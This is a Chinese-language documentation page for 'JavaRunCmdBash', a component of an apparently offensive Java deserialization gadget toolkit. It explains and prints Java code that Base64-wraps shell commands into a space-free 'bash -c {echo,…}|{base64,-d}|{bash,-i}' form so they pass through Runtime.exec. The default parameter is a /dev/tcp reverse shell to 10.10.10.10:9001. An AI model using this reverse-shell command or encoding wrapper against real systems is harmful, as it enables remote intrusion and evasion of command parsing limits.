Skip to content

Latest commit

 

History

History
55 lines (44 loc) · 3.54 KB

File metadata and controls

55 lines (44 loc) · 3.54 KB

Java Bash 执行命令处理(JavaRunCmdBash)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖:无(仅用 JDK 自带 java.util.Base64

作用

把用户给定的命令改写成一段 Bash Base64 混淆命令字符串,用于绕过 Runtime.exec 直接执行含管道 |、重定向 >&、反引号等复杂 shell 语法时无法被正确解析的问题。产物是一条可被最终执行点安全执行的字符串。

链接标签

  • 入口 tagsOtherEND —— Other 表通用工具,END 表其为链末端节点(自身即产出最终命令字符串,不再向下衔接)。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

invoke 完全不使用 chain.doCreate,直接把用户参数 cmd 交给 getBashCommand 转换:

@Param(name="命令", description="执行命令内容", requires=true)
public String cmd = "sh -i >& /dev/tcp/10.10.10.10/9001 0>&1";

public static String getBashCommand(String cmd) {
    String data = Base64.getEncoder().encodeToString(cmd.getBytes(Charset.forName("UTF-8")));
    String template = "bash -c {echo,__BASE64__}|{base64,-d}|{bash,-i}";
    return template.replace("__BASE64__", data);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return JavaRunCmdBash.getBashCommand(this.cmd);
}

逐段说明:

  1. 默认 cmd 即一条经典的 /dev/tcp 反弹 shell,含有 >&0>&1Runtime.exec 无法直接解析的语法(exec 不经过 shell,不识别管道与重定向)。
  2. getBashCommand 先把整条命令 UTF-8 Base64 编码为 data,避免命令中特殊字符在传参过程中被截断/转义。
  3. 用模板 bash -c {echo,__BASE64__}|{base64,-d}|{bash,-i} 包裹:{echo,<b64>} 是 Bash 的花括号展开写法(无需空格即可分词),把 Base64 串 echo 出来,| {base64,-d} 解码还原原始命令,| {bash,-i} 交给交互式 bash 执行。整条命令不含空格(用逗号+花括号分词),从而能作为单个 token 直接塞进 exec(String)exec(String[]) 而不被空格拆散。
  4. invoke 直接返回这条字符串,忽略 chain——因此它是链的叶子(END),产物供上层的命令执行沉点消费。

本 gadget 不做反序列化或反射,只是命令字符串的编码变形,等价于把「复杂 shell 命令」转成「Runtime.exec 可吞下的等效形式」。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 执行命令内容(可含管道/重定向等复杂 shell 语法) sh -i >& /dev/tcp/10.10.10.10/9001 0>&1 任意 shell 命令(必填)

适用版本与原理要点

  • 仅适用于目标为 Linux/类 Unix 且存在 bash 与 base64 命令的环境;模板依赖 Bash 花括号展开语义,sh/dash 不一定支持。
  • 解决的核心痛点:Runtime.exec 按空白切分参数、不走 shell,导致 |>&$() 等失效;本 gadget 把命令包成无空格、由 bash 二次解码执行的形式绕过该限制。
  • JavaRunCmdPs 互为 Windows/Linux 对应版本。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为命令字符串预处理工具,供需要通过 Runtime.exec 执行复杂命令的自定义场景使用。

关联

  • 平台对应:JavaRunCmdPs(PowerShell 版本,面向 Windows)。
  • 同目录工具类:Jar(字节码打包)。